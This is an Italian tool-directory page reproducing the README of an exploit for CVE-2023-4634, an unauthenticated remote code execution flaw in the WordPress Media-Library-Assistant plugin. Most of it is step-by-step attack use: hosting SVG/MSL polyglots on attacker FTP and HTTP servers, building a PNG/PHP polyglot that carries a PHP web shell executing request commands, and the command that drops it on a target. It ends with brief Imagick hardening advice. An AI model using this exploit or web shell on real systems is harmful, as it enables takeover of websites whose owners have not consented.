Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
Strumenti/GitHubGitHub/patrowl/cve-2023-4634
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

Vedi Repository
4795 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-4634

Exploit RCE per il Plugin Media-Library di Wordpress < 3.10 (CVE-2023-4634)

Info

Patrowl ha scoperto una vulnerabilità RCE non autenticata sul plugin Media-Library-Assistant per Wordpress in versione < 3.10. L'exploit non è banale e richiede un piccolo setup spiegato di seguito.

La scoperta globale e lo sfruttamento dell'exploit si trovano sul nostro blog: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

Prerequisiti per lo sfruttamento

  • Wordpress installato (tutte le versioni funzionano)
  • Media-Library-Assistant in versione < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Librerie Imagick installate sul server
  • Configurazione predefinita di Imagick
  • Connettività di rete esterna

Rilevamento

Il rilevamento della vulnerabilità può essere effettuato utilizzando un controllo DNS di base su un server FTP remoto. Il template nuclei può essere trovato su: CVE-2023-4634.yaml.

root@kitploit:~
nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

Lo sfruttamento completo e l'RCE possono quindi essere eseguiti utilizzando lo script CVE-2023-4634.py.

Nota: Puoi anche utilizzare lo script per attivare uno sfruttamento più semplice come LFI, basta forgiare un SVG specifico e ospitarlo sul tuo FTP, seguendo le raccomandazioni nel nostro blog.

Utilizzo

Installa i requisiti:

root@kitploit:~
python3 -m pip install -r requirements.txt

Poi:

root@kitploit:~
python3 CVE-CVE-2023-4634.py -h

Restituisce:

root@kitploit:~
usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 su Media-Library-Assistant versione < 3.10

options:
  -h, --help            mostra questo messaggio di aiuto ed esce
  --target [TARGET]     URL del target, es http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL del FTP remoto utilizzato per memorizzare i file SVG, es ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL dell'HTTP remoto utilizzato per memorizzare il file finale Poliglotta PNG/PHP, es http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Nome del file poliglotta SVG/MSL esterno (per generazione o uso finale), esempio: poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Nome dei file esterni di brute-force VID, la parte FUZZ sarà sostituita dal primo carattere forzato (per generazione o uso finale), es: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Nome del PNG/PHP esterno da usare (per generazione o uso finale), es: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Numero di richieste di conversione SVG lunghe concorrenti da effettuare (default 100)
  --generatesvg, --no-generatesvg
                        Genera sia il file poliglotta SVG/MSL che il brute-forcer VID nella directory remote_ftp
  --webserverpath WEBSERVERPATH
                        Percorso del server web sulla vittima (può essere trovato con LFI e file wp-config) esempio: /var/www/html
  --exploitname EXPLOITNAME
                        Nome dell'exploit rilasciato esempio: pwned.php
  --generatepng, --no-generatepng
                        Genera il file poliglotta PNG/PHP, integra il file php con l'opzione -payload nella cartella exploit-png
  --payload PAYLOAD     Payload PHP da integrare nel file PNG es: <?php phpinfo(); ?>

Ora, per funzionare, devi configurare su host remoti:

  • 1 server FTP che ospita i file poliglotti SVG/MSL e gli sfruttatori SVG/VID
  • 1 server HTTP che ospita il file poliglotta PNG/MSL

Prima dello sfruttamento

Prepara il tuo server FTP

Puoi eseguire un semplice server FTP usando Python:

root@kitploit:~
python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Una volta configurato, devi aggiungere al tuo server FTP i file poliglotti SVG/MSL e tutti gli sfruttatori SVG. Puoi generarli facilmente usando lo script:

root@kitploit:~
python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

Genererà nella cartella remote_ftp:

  • poly.svg, poliglotta SVG/MSL con indirizzo non instradato che richiederà molto tempo per essere generato dal target, con un MSL che memorizzerà il png_polyglot_name da remotettp al percorso di destinazione (webserverpath+ exploitname)
  • tutti i 64 sfruttatori SVG/VID che utilizzano la nomenclatura exploiter_FUZZ dove FUZZ sarà sostituito dal carattere forzato

Nota che lo script copierà anche il file svg con [0] alla fine (poly.svg e poly.svg[0]). Entrambi i file sono necessari affinché lo sfruttamento funzioni.

Metti tutti i file generati (normali e [0]) nella directory root del tuo server FTP. Dovrebbe apparire così:

root@kitploit:~
ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

Prepara il tuo server HTTP

Puoi eseguire un semplice server HTTP usando Python:

root@kitploit:~
python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Devi solo aggiungere il tuo file poliglotta PNG/PHP. Puoi anche usare lo script per generare il file e includere il payload desiderato:

root@kitploit:~
python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png

Exploit

Ora che sia il server FTP remoto che il server HTTP sono pronti, puoi lanciare l'exploit sul target vulnerabile (lo script verificherà se il target utilizza una versione vulnerabile del plugin). Esempio:

root@kitploit:~
python3 CVE-2023-4634.py --target http://127.0.0.1 --remoteftp ftp://192.168.1.164:2122 --remotehttp http://192.168.1.164:8081 --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg --png_polyglot_name virus.png  --exploitname pwned.php

E se tutto è a posto, dovresti avere il tuo exploitname rilasciato all'interno del webserverpath (dipende da come hai configurato il tuo exploit) Divertiti!

Video Clip

Ho realizzato un video clip.

https://github.com/Patrowl/CVE-2023-4634/assets/15944951/6f9d356f-f0ec-48df-9037-5f8a4b64e44f

Mitigazioni

  • Aggiorna all'ultima versione del plugin (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Rafforza la policy di sicurezza di Imagick disabilitando la conversione di file pericolosi come: "MSL, MSVG, MVG, PS, PDF, RSVG, SVG, XPS, VID" Può essere fatto aggiungendo
root@kitploit:~
  <policy domain="coder" rights="none" pattern="SVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="MSVG" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="VID" />

a

root@kitploit:~
/etc/ImageMagick-X/policy.xml
Scarica lo strumento